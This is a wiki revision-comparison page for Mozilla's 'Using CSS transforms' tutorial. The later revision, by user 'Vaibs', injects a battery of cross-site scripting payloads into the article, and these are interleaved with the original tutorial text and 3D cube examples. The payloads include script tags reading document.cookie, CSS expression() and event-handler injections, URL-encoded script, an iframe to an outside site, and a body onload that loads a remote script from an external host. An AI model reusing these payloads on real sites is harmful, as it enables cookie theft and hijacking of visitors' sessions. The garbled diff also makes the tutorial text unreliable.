mozilla

Compare Revisions

Using CSS transforms

Change Revisions

Revision 319331:

Revision 319331 by teoli on

Revision 320033:

Revision 320033 by Vaibs on

Title:
Using CSS transforms
Using CSS transforms
Slug:
CSS/Using_CSS_transforms
CSS/Using_CSS_transforms
Tags:
"css", "CSS3", "CSS Transforms"
"css", "CSS3", "CSS Transforms"
Content:

Revision 319331
Revision 320033
nn4 
5    <script type="text/javascript">
6ALeRt("hi");
7    </script>
n7    <p>n11    &lt;script&gt;alert(1)&lt;/script&gt; <font style="color:expr
 >ession(alert(1))">abc</font> “&gt;<script type="text/javascript">
8      By modifying the coordinate space, <strong>CSS transforms</12alert(document.cookie)
>strong> allow to change the position of the affected content with 
>out disrupting the normal flow. They are implemented using a set  
>of CSS&nbsp;properties that let you apply affine linear transform 
>ations to HTML&nbsp;elements.&nbsp; These transformations include 
> rotation, skewing, scaling, and translation both in the plane an 
>d in the 3D space. 
9    </p>13    </script>“&gt;<script type="text/javascript">
10    <h2 id="CSS_transforms_properties">14alert(" XSSED by Vaibs")
11      CSS transforms properties15    </script>“&gt;<script type="text/javascript">
12    </h2>16prompt(1)
13    <p>17    </script>“&gt;<script type="text/javascript">
14      Two major properties are used to define CSS transforms: {{ 18prompt(alert(document.cookie))
>cssxref("transform") }} and {{ cssxref("transform-origin") }} 
15    </p>19    </script>ipt&gt;alert(document.cookie)ipt&gt; ipt&gt;prompt(a
 >lert(document.cookie))ipt&gt; <script type="text/javascript">
16    <dl>20ALeRt("hi");
17      <dt>21    </script>%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%
 >22%29%3b%3c%2f%73%63%72%69%70%74%3e '"&gt;<iframe src="//xssed.co
 >m">&amp;FromMail=&amp;Me '; alert(1); ' <a href="javascript:"></a
 >>
18        {{ cssxref("transform-origin") }}
19      </dt>
20      <dd>
21        Specifies the position of the origin. By default it is at
> the top left corner of the element and can be moved. It is used  
>by several transforms, like rotations, scaling or skewing, that n 
>eed a specific point as parameter. 
22      </dd>
23      <dt>
24        {{ cssxref("transform") }}
25      </dt>
26      <dd>
27        Specifies the transforms to apply to the element. It is a
> space separated list of transform, which are applied one after t 
>he other, like requested by the composition operation. 
28      </dd>
29    </dl>
30    <h2 id="Examples">
31      Examples
32    </h2>
33    <h3 id="Example.3A.C2.A0Rotating">
34      Example:&nbsp;Rotating
35    </h3>
36    <p>
37      This example creates an iframe that lets you use Google's h
>ome page, rotated 90 degrees about its bottom-left corner. 
38    </p>
39    <p>
40      <a class="internal" href="/@api/deki/files/2921/=rotated-go
>ogle-sample.html" title="/@api/deki/files/2921/=rotated-google-sa 
>mple.html">View live example</a>&nbsp;<br> 
41      <a class="internal" href="/@api/deki/files/2920/=google-rot
>ated.png" title="/@api/deki/files/2920/=google-rotated.png">View  
>screenshot of example</a> 
42    </p>
43    <pre class="brush: html">
44&lt;div style="transform: rotate(90deg); transform-origin: bottom
> left;"&gt; 
45  &lt;iframe src="http://www.google.com/" width="500" height="600
>"&gt;&lt;/iframe&gt; 
46&lt;/div&gt;
47</pre>
48    <h3 id="Example.3A.C2.A0Skewing_and_translating">
49      Example:&nbsp;Skewing and translating
50    </h3>
51    <p>
52      This example creates an iframe that lets you use Google's h
>ome page, skewed by 10 degrees and translated by 150 pixels on th 
>e X axis. 
53    </p>
54    <p>
55      <a class="external" href="/@api/deki/files/2922/=skewed-goo
>gle-sample.html" title="http://developer.mozilla.org/editor/fcked 
>itor/core/editor/@api/deki/files/2922/=skewed-google-sample.html" 
>>View live example</a>&nbsp;<br> 
56      <a class="internal" href="/@api/deki/files/2923/=skewed-goo
>gle.png" title="/@api/deki/files/2923/=skewed-google.png">View sc 
>reenshot of example</a> 
57    </p>
58    <pre class="brush: html">
59&lt;div style="transform: skewx(10deg) translatex(150px);
60            transform-origin: bottom left;"&gt;
61  &lt;iframe src="http://www.google.com/" width="600" height="500
>"&gt;&lt;/iframe&gt; 
62&lt;/div&gt;
63</pre>
64    <h2 id="3D_specific_CSS_properties">
65      3D specific CSS properties
66    </h2>
67    <p>
68      Performing CSS properties in the space is a little bit more
> complex. You have to start by configuring the 3D space by giving 
> it a perspective, then you have to configure how your 2D element 
>s will behave in that space. 
69    </p>
70    <h3 id="Setting_up_a_perspective">
71      Setting up a perspective
72    </h3>
73    <p>
74      The first element to set is the <em>perspective</em>. The p
>erspective is what gives the 3D impression. The farther from the  
>viewer the elements are, the smaller there are. 
75    </p>
76    <p>
77      How quick they shrink is defined by the {{ cssxref("perspec
>tive") }} property. The smaller its value is, the deeper the pers 
>pective is. 
78    </p>
t80      <table class="standard-table">t23      <a href='javascript:{%20alert(/"xss_attack/");%20otherxss()
 >;}' onclick='alert(\"xss_attack\");' onhover='alert (\"xss_attack
 >\");' onmouseout="alert(\&quot;xss_attack\&quot;)" class='thiscla
 >ss'>link</a> style='width:expression(alert(\"xss_attack\")); %253
 >cscript%253ealert(document.cookie)%253c/script%253e “&gt;<s>alert
 >(document.cookie)</s> var i=0; for(i=0;i&lt;=5;i++){alert('Cross 
 >Website Scripting');} “&gt;<script type="text/javascript">
81        <tbody>24alert(document.cookie)
82          <tr>25      </script> “&gt;&lt;&lt;script&gt;alert(document.cookie);//&
 >lt;&lt;/script&gt; foo%00<script type="text/javascript">
83            <td>26alert(document.cookie)
84              <code>perspective:0;</code>27      </script> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%2
 >2%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%
 >3E /*--&gt;]]&gt;%&gt;?&gt;'-/"/-alert(1)//&gt;<img src="1onerror
 >=alert(1)" alt="">' ‘; alert(document.cookie); var foo=’ foo\’; a
 >lert(document.cookie);//’; <script type="text/javascript">
85            </td>28alert(document.cookie)
86            <td>29      </script> "&gt;
87              <code>perspective:250px;</code>30    </div></iframe>
88            </td>
89            <td>
90              <code>perspective:300px;</code>
91            </td>
92            <td>
93              <code>perspective:350px;</code>
94            </td>
95          </tr>
96          <tr>
97            <td>
98              <div class="container" style="width:200px;height:20
>0px;margin:75px 0 0 75px;border:none;"> 
99                <div class="cube" style="width:100%;height:100%;-
>moz-perspective:0;-webkit-perspective:0;perspective:0;-moz-transf 
>orm-style:preserve-3d;-webkit-transform-style:preserve-3d;transfo 
>rm-style:preserve-3d;-moz-perspective-origin:150% 150%;-webkit-pe 
>rspective-origin:150% 150%;perspective-origin:150% 150%"> 
100                  <div class="middle" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: 1px dashed black 
>;line-height: 100px;font-family: arial, sans-serif;font-size: 60p 
>x;color: white;text-align: center;background: transparent;"> 
101                    &nbsp; &nbsp;
102                  </div>
103                  <div class="front" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 0, 0, 0, 0.3 );-moz-transf 
>orm: translateZ( 50px );-webkit-transform: translateZ( 50px );tra 
>nsform:translateZ(50px)"> 
104                    1
105                  </div>
106                  <div class="back" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 255, 0, 1 ); color: blac 
>k;-moz-transform: translateZ( -50px );-webkit-transform: translat 
>eZ( -50px );transforme:translateZ(-50px)"> 
107                    2
108                  </div>
109                  <div class="right" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 196, 0, 0, 0.7 );-moz-tran 
>sform: rotateY( 90deg) translateZ( 50px );-webkit-transform: rota 
>teY( 90deg) translateZ( 50px );transform:rotateY(90deg) translate 
>Z(50px)"> 
110                    3
111                  </div>
112                  <div class="left" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 0, 196, 0.7 );-moz-trans 
>form: rotateY(-90deg) translateZ( 50px );-webkit-transform: rotat 
>eY(-90deg) translateZ( 50px );transform:rotateY(-90deg) translate 
>Z(50px)"> 
113                    4
114                  </div>
115                  <div class="top" style="display: block;position
>: absolute;width: 100px;height: 100px;border: none;line-height: 1 
>00px;font-family: arial, sans-serif;font-size: 60px;color: white; 
>text-align: center;background: rgba( 196, 196, 0, 0.7 );-moz-tran 
>sform: rotateX( 90deg) translateZ( 50px );-webkit-transform: rota 
>teX( 90deg) translateZ( 50px );transform:rotateX(90deg) translate 
>Z(50px)"> 
116                    5
117                  </div>
118                  <div class="bottom" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: none;line-height 
>: 100px;font-family: arial, sans-serif;font-size: 60px;color: whi 
>te;text-align: center;background: rgba( 196, 0, 196, 0.7);-moz-tr 
>ansform: rotateX(-90deg) translateZ( 50px );-webkit-transform: ro 
>tateX( -90deg) translateZ( 50px );transform:rotateX(-90deg) trans 
>lateZ(50px)"> 
119                    6
120                  </div>
121                </div>
122              </div>
123            </td>
124            <td>
125              <div class="container" style="width:200px;height:20
>0px;margin:75px 0 0 75px;border:none;"> 
126                <div class="cube" style="width:100%;height:100%;-
>moz-perspective:250px;-webkit-perspective:250px;perspective:250px 
>;-moz-transform-style:preserve-3d;-webkit-transform-style:preserv 
>e-3d;transform-style:preserve-3d;-moz-perspective-origin:150% 150 
>%;-webkit-perspective-origin:150% 150%;perspective-origin:150% 15 
>0%"> 
127                  <div class="middle" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: 1px dashed black 
>;line-height: 100px;font-family: arial, sans-serif;font-size: 60p 
>x;color: white;text-align: center;background: transparent;"> 
128                    &nbsp; &nbsp;
129                  </div>
130                  <div class="front" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 0, 0, 0, 0.3 );-moz-transf 
>orm: translateZ( 50px );-webkit-transform: translateZ( 50px );tra 
>nsform:translateZ(50px)"> 
131                    1
132                  </div>
133                  <div class="back" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 255, 0, 1 ); color: blac 
>k;-moz-transform: translateZ( -50px );-webkit-transform: translat 
>eZ( -50px );transforme:translateZ(-50px)"> 
134                    2
135                  </div>
136                  <div class="right" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 196, 0, 0, 0.7 );-moz-tran 
>sform: rotateY( 90deg) translateZ( 50px );-webkit-transform: rota 
>teY( 90deg) translateZ( 50px );transform:rotateY(90deg) translate 
>Z(50px)"> 
137                    3
138                  </div>
139                  <div class="left" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 0, 196, 0.7 );-moz-trans 
>form: rotateY(-90deg) translateZ( 50px );-webkit-transform: rotat 
>eY(-90deg) translateZ( 50px );transform:rotateY(-90deg) translate 
>Z(50px)"> 
140                    4
141                  </div>
142                  <div class="top" style="display: block;position
>: absolute;width: 100px;height: 100px;border: none;line-height: 1 
>00px;font-family: arial, sans-serif;font-size: 60px;color: white; 
>text-align: center;background: rgba( 196, 196, 0, 0.7 );-moz-tran 
>sform: rotateX( 90deg) translateZ( 50px );-webkit-transform: rota 
>teX( 90deg) translateZ( 50px );transform:rotateX(90deg) translate 
>Z(50px)"> 
143                    5
144                  </div>
145                  <div class="bottom" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: none;line-height 
>: 100px;font-family: arial, sans-serif;font-size: 60px;color: whi 
>te;text-align: center;background: rgba( 196, 0, 196, 0.7);-moz-tr 
>ansform: rotateX(-90deg) translateZ( 50px );-webkit-transform: ro 
>tateX( -90deg) translateZ( 50px );transform:rotateX(-90deg) trans 
>lateZ(50px)"> 
146                    6
147                  </div>
148                </div>
149              </div>
150            </td>
151            <td>
152              <div class="container" style="width:200px;height:20
>0px;margin:75px 0 0 75px;border:none;"> 
153                <div class="cube" style="width:100%;height:100%;-
>moz-perspective:300px;-moz-transform-style:preserve-3d;-moz-persp 
>ective-origin:150% 150%;-webkit-perspective:300px;-webkit-transfo 
>rm-style:preserve-3d;-webkit-perspective-origin:150% 150%;perspec 
>tive:300px;transform-style:preserve-3d;perspective-origin:150% 15 
>0%"> 
154                  <div class="middle" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: 1px dashed black 
>;line-height: 100px;font-family: arial, sans-serif;font-size: 60p 
>x;color: white;text-align: center;background: transparent;"> 
155                    &nbsp; &nbsp;
156                  </div>
157                  <div class="front" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 0, 0, 0, 0.3 );-moz-transf 
>orm: translateZ( 50px );-webkit-transform: translateZ( 50px );tra 
>nsform:translateZ(50px)"> 
158                    1
159                  </div>
160                  <div class="back" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 255, 0, 1 ); color: blac 
>k;-moz-transform: translateZ( -50px );-webkit-transform: translat 
>eZ( -50px );transforme:translateZ(-50px)"> 
161                    2
162                  </div>
163                  <div class="right" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 196, 0, 0, 0.7 );-moz-tran 
>sform: rotateY( 90deg) translateZ( 50px );-webkit-transform: rota 
>teY( 90deg) translateZ( 50px );transform:rotateY(90deg) translate 
>Z(50px)"> 
164                    3
165                  </div>
166                  <div class="left" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 0, 196, 0.7 );-moz-trans 
>form: rotateY(-90deg) translateZ( 50px );-webkit-transform: rotat 
>eY(-90deg) translateZ( 50px );transform:rotateY(-90deg) translate 
>Z(50px)"> 
167                    4
168                  </div>
169                  <div class="top" style="display: block;position
>: absolute;width: 100px;height: 100px;border: none;line-height: 1 
>00px;font-family: arial, sans-serif;font-size: 60px;color: white; 
>text-align: center;background: rgba( 196, 196, 0, 0.7 );-moz-tran 
>sform: rotateX( 90deg) translateZ( 50px );-webkit-transform: rota 
>teX( 90deg) translateZ( 50px );transform:rotateX(90deg) translate 
>Z(50px)"> 
170                    5
171                  </div>
172                  <div class="bottom" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: none;line-height 
>: 100px;font-family: arial, sans-serif;font-size: 60px;color: whi 
>te;text-align: center;background: rgba( 196, 0, 196, 0.7);-moz-tr 
>ansform: rotateX(-90deg) translateZ( 50px );-webkit-transform: ro 
>tateX( -90deg) translateZ( 50px );transform:rotateX(-90deg) trans 
>lateZ(50px)"> 
173                    6
174                  </div>
175                </div>
176              </div>
177            </td>
178            <td>
179              <div class="container" style="width:200px;height:20
>0px;margin:75px 0 0 75px;border:none;"> 
180                <div class="cube" style="width:100%;height:100%;-
>moz-perspective:350px;-moz-transform-style:preserve-3d;-moz-persp 
>ective-origin:150% 150%;-webkit-perspective:350px;-webkit-transfo 
>rm-style:preserve-3d;-webkit-perspective-origin:150% 150%;perspec 
>tive:350px;transform-style:preserve-3d;perspective-origin:150% 15 
>0%"> 
181                  <div class="middle" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: 1px dashed black 
>;line-height: 100px;font-family: arial, sans-serif;font-size: 60p 
>x;color: white;text-align: center;background: transparent;"> 
182                    &nbsp; &nbsp;
183                  </div>
184                  <div class="front" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 0, 0, 0, 0.3 );-moz-transf 
>orm: translateZ( 50px );-webkit-transform: translateZ( 50px );tra 
>nsform:translateZ(50px)"> 
185                    1
186                  </div>
187                  <div class="back" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 255, 0, 1 ); color: blac 
>k;-moz-transform: translateZ( -50px );-webkit-transform: translat 
>eZ( -50px );transforme:translateZ(-50px)"> 
188                    2
189                  </div>
190                  <div class="right" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 196, 0, 0, 0.7 );-moz-tran 
>sform: rotateY( 90deg) translateZ( 50px );-webkit-transform: rota 
>teY( 90deg) translateZ( 50px );transform:rotateY(90deg) translate 
>Z(50px)"> 
191                    3
192                  </div>
193                  <div class="left" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 0, 196, 0.7 );-moz-trans 
>form: rotateY(-90deg) translateZ( 50px );-webkit-transform: rotat 
>eY(-90deg) translateZ( 50px );transform:rotateY(-90deg) translate 
>Z(50px)"> 
194                    4
195                  </div>
196                  <div class="top" style="display: block;position
>: absolute;width: 100px;height: 100px;border: none;line-height: 1 
>00px;font-family: arial, sans-serif;font-size: 60px;color: white; 
>text-align: center;background: rgba( 196, 196, 0, 0.7 );-moz-tran 
>sform: rotateX( 90deg) translateZ( 50px );-webkit-transform: rota 
>teX( 90deg) translateZ( 50px );transform:rotateX(90deg) translate 
>Z(50px)"> 
197                    5
198                  </div>
199                  <div class="bottom" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: none;line-height 
>: 100px;font-family: arial, sans-serif;font-size: 60px;color: whi 
>te;text-align: center;background: rgba( 196, 0, 196, 0.7);-moz-tr 
>ansform: rotateX(-90deg) translateZ( 50px );-webkit-transform: ro 
>tateX( -90deg) translateZ( 50px );transform:rotateX(-90deg) trans 
>lateZ(50px)"> 
200                    6
201                  </div>
202                </div>
203              </div>
204            </td>
205          </tr>
206        </tbody>
207      </table>
208    </div>
209    <p>
210      The second element to configure is the position of the view
>er, with the {{ cssxref("perspective-origin") }} property. By def 
>ault, the perspective is centered on the viewer, which is not alw 
>ays adequate. 
211    </p>
212    <div>
213      <table class="standard-table">
214        <tbody>
215          <tr>
216            <td>
217              <code>perspective-origin:150px 150px;</code>
218            </td>
219            <td>
220              <code>perspective-origin:50% 50%;</code>
221            </td>
222            <td>
223              <code>perspective-origin:-50px -50px;</code>
224            </td>
225          </tr>
226          <tr>
227            <td>
228              <div class="container" style="width:100px;height:10
>0px;margin:25px;border:none;"> 
229                <div class="cube" style="width:100%;height:100%;-
>moz-perspective:300px;-moz-transform-style:preserve-3d;-moz-persp 
>ective-origin:150% 150%;-webkit-perspective:300px;-webkit-transfo 
>rm-style:preserve-3d;-webkit-perspective-origin:150% 150%;perspec 
>tive:300px;transform-style:preserve-3d;perspective-origin:150% 15 
>0%"> 
230                  <div class="middle" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: 1px dashed black 
>;line-height: 100px;font-family: arial, sans-serif;font-size: 60p 
>x;color: white;text-align: center;background: transparent;"> 
231                    &nbsp; &nbsp;
232                  </div>
233                  <div class="front" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 0, 0, 0, 0.3 );-moz-transf 
>orm: translateZ( 50px );-webkit-transform: translateZ( 50px );tra 
>nsform:translateZ(50px)"> 
234                    1
235                  </div>
236                  <div class="back" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 255, 0, 1 ); color: blac 
>k;-moz-transform: translateZ( -50px );-webkit-transform: translat 
>eZ( -50px );transforme:translateZ(-50px)"> 
237                    2
238                  </div>
239                  <div class="right" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 196, 0, 0, 0.7 );-moz-tran 
>sform: rotateY( 90deg) translateZ( 50px );-webkit-transform: rota 
>teY( 90deg) translateZ( 50px );transform:rotateY(90deg) translate 
>Z(50px)"> 
240                    3
241                  </div>
242                  <div class="left" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 0, 196, 0.7 );-moz-trans 
>form: rotateY(-90deg) translateZ( 50px );-webkit-transform: rotat 
>eY(-90deg) translateZ( 50px );transform:rotateY(-90deg) translate 
>Z(50px)"> 
243                    4
244                  </div>
245                  <div class="top" style="display: block;position
>: absolute;width: 100px;height: 100px;border: none;line-height: 1 
>00px;font-family: arial, sans-serif;font-size: 60px;color: white; 
>text-align: center;background: rgba( 196, 196, 0, 0.7 );-moz-tran 
>sform: rotateX( 90deg) translateZ( 50px );-webkit-transform: rota 
>teX( 90deg) translateZ( 50px );transform:rotateX(90deg) translate 
>Z(50px)"> 
246                    5
247                  </div>
248                  <div class="bottom" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: none;line-height 
>: 100px;font-family: arial, sans-serif;font-size: 60px;color: whi 
>te;text-align: center;background: rgba( 196, 0, 196, 0.7);-moz-tr 
>ansform: rotateX(-90deg) translateZ( 50px );-webkit-transform: ro 
>tateX( -90deg) translateZ( 50px );transform:rotateX(-90deg) trans 
>lateZ(50px)"> 
249                    6
250                  </div>
251                </div>
252              </div>
253            </td>
254            <td>
255              <div class="container" style="width:100px;height:10
>0px;margin:25px;border:none;"> 
256                <div class="cube" style="width:100%;height:100%;-
>moz-perspective:300px;-moz-transform-style:preserve-3d;-moz-persp 
>ective-origin:50% 50%;-webkit-perspective:300px;-webkit-transform 
>-style:preserve-3d;-webkit-perspective-origin:50% 50%;perspective 
>:300px;transform-style:preserve-3d;perspective-origin:50% 50%"> 
257                  <div class="middle" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: 1px dashed black 
>;line-height: 100px;font-family: arial, sans-serif;font-size: 60p 
>x;color: white;text-align: center;background: transparent;"> 
258                    &nbsp; &nbsp;
259                  </div>
260                  <div class="front" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 0, 0, 0, 0.3 );-moz-transf 
>orm: translateZ( 50px );-webkit-transform: translateZ( 50px );tra 
>nsform:translateZ(50px)"> 
261                    1
262                  </div>
263                  <div class="back" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 255, 0, 1 ); color: blac 
>k;-moz-transform: translateZ( -50px );-webkit-transform: translat 
>eZ( -50px );transforme:translateZ(-50px)"> 
264                    2
265                  </div>
266                  <div class="right" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 196, 0, 0, 0.7 );-moz-tran 
>sform: rotateY( 90deg) translateZ( 50px );-webkit-transform: rota 
>teY( 90deg) translateZ( 50px );transform:rotateY(90deg) translate 
>Z(50px)"> 
267                    3
268                  </div>
269                  <div class="left" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 0, 196, 0.7 );-moz-trans 
>form: rotateY(-90deg) translateZ( 50px );-webkit-transform: rotat 
>eY(-90deg) translateZ( 50px );transform:rotateY(-90deg) translate 
>Z(50px)"> 
270                    4
271                  </div>
272                  <div class="top" style="display: block;position
>: absolute;width: 100px;height: 100px;border: none;line-height: 1 
>00px;font-family: arial, sans-serif;font-size: 60px;color: white; 
>text-align: center;background: rgba( 196, 196, 0, 0.7 );-moz-tran 
>sform: rotateX( 90deg) translateZ( 50px );-webkit-transform: rota 
>teX( 90deg) translateZ( 50px );transform:rotateX(90deg) translate 
>Z(50px)"> 
273                    5
274                  </div>
275                  <div class="bottom" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: none;line-height 
>: 100px;font-family: arial, sans-serif;font-size: 60px;color: whi 
>te;text-align: center;background: rgba( 196, 0, 196, 0.7);-moz-tr 
>ansform: rotateX(-90deg) translateZ( 50px );-webkit-transform: ro 
>tateX( -90deg) translateZ( 50px );transform:rotateX(-90deg) trans 
>lateZ(50px)"> 
276                    6
277                  </div>
278                </div>
279              </div>
280            </td>
281            <td>
282              <div class="container" style="width:100px;height:10
>0px;margin:25px;border:none;"> 
283                <div class="cube" style="width:100%;height:100%;-
>moz-perspective:300px;-moz-transform-style:preserve-3d;-moz-persp 
>ective-origin:-50% -50%;-webkit-perspective:300px;-webkit-transfo 
>rm-style:preserve-3d;-webkit-perspective-origin:-50% -50%;perspec 
>tive:300px;transform-style:preserve-3d;perspective-origin:-50% -5 
>0%"> 
284                  <div class="middle" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: 1px dashed black 
>;line-height: 100px;font-family: arial, sans-serif;font-size: 60p 
>x;color: white;text-align: center;background: transparent;"> 
285                    &nbsp; &nbsp;
286                  </div>
287                  <div class="front" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 0, 0, 0, 0.3 );-moz-transf 
>orm: translateZ( 50px );-webkit-transform: translateZ( 50px );tra 
>nsform:translateZ(50px)"> 
288                    1
289                  </div>
290                  <div class="back" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 255, 0, 1 ); color: blac 
>k;-moz-transform: translateZ( -50px );-webkit-transform: translat 
>eZ( -50px );transforme:translateZ(-50px)"> 
291                    2
292                  </div>
293                  <div class="right" style="display: block;positi
>on: absolute;width: 100px;height: 100px;border: none;line-height: 
> 100px;font-family: arial, sans-serif;font-size: 60px;color: whit 
>e;text-align: center;background: rgba( 196, 0, 0, 0.7 );-moz-tran 
>sform: rotateY( 90deg) translateZ( 50px );-webkit-transform: rota 
>teY( 90deg) translateZ( 50px );transform:rotateY(90deg) translate 
>Z(50px)"> 
294                    3
295                  </div>
296                  <div class="left" style="display: block;positio
>n: absolute;width: 100px;height: 100px;border: none;line-height:  
>100px;font-family: arial, sans-serif;font-size: 60px;color: white 
>;text-align: center;background: rgba( 0, 0, 196, 0.7 );-moz-trans 
>form: rotateY(-90deg) translateZ( 50px );-webkit-transform: rotat 
>eY(-90deg) translateZ( 50px );transform:rotateY(-90deg) translate 
>Z(50px)"> 
297                    4
298                  </div>
299                  <div class="top" style="display: block;position
>: absolute;width: 100px;height: 100px;border: none;line-height: 1 
>00px;font-family: arial, sans-serif;font-size: 60px;color: white; 
>text-align: center;background: rgba( 196, 196, 0, 0.7 );-moz-tran 
>sform: rotateX( 90deg) translateZ( 50px );-webkit-transform: rota 
>teX( 90deg) translateZ( 50px );transform:rotateX(90deg) translate 
>Z(50px)"> 
300                    5
301                  </div>
302                  <div class="bottom" style="display: block;posit
>ion: absolute;width: 100px;height: 100px;border: none;line-height 
>: 100px;font-family: arial, sans-serif;font-size: 60px;color: whi 
>te;text-align: center;background: rgba( 196, 0, 196, 0.7);-moz-tr 
>ansform: rotateX(-90deg) translateZ( 50px );-webkit-transform: ro 
>tateX( -90deg) translateZ( 50px );transform:rotateX(-90deg) trans 
>lateZ(50px)"> 
303                    6
304                  </div>
305                </div>
306              </div>
307            </td>
308          </tr>
309        </tbody>
310      </table>
311    </div>
312    <p>
313      Once you have done this, you can work on the element in the
> 3D space. 
314    </p>
315    <p>
316      {{ CSS_Reference:Transforms() }}
317    </p>
318    <h2 id="See_also">
319      See also
320    </h2>
321    <ul>
322      <li>
323        <a href="/en/Using_Deviceorientation_In_3D_Transforms" ti
>tle="Using Deviceorientation In 3D Transforms">Using deviceorient 
>ation in 3D Transforms</a> 
324      </li>
325    </ul>

Back to History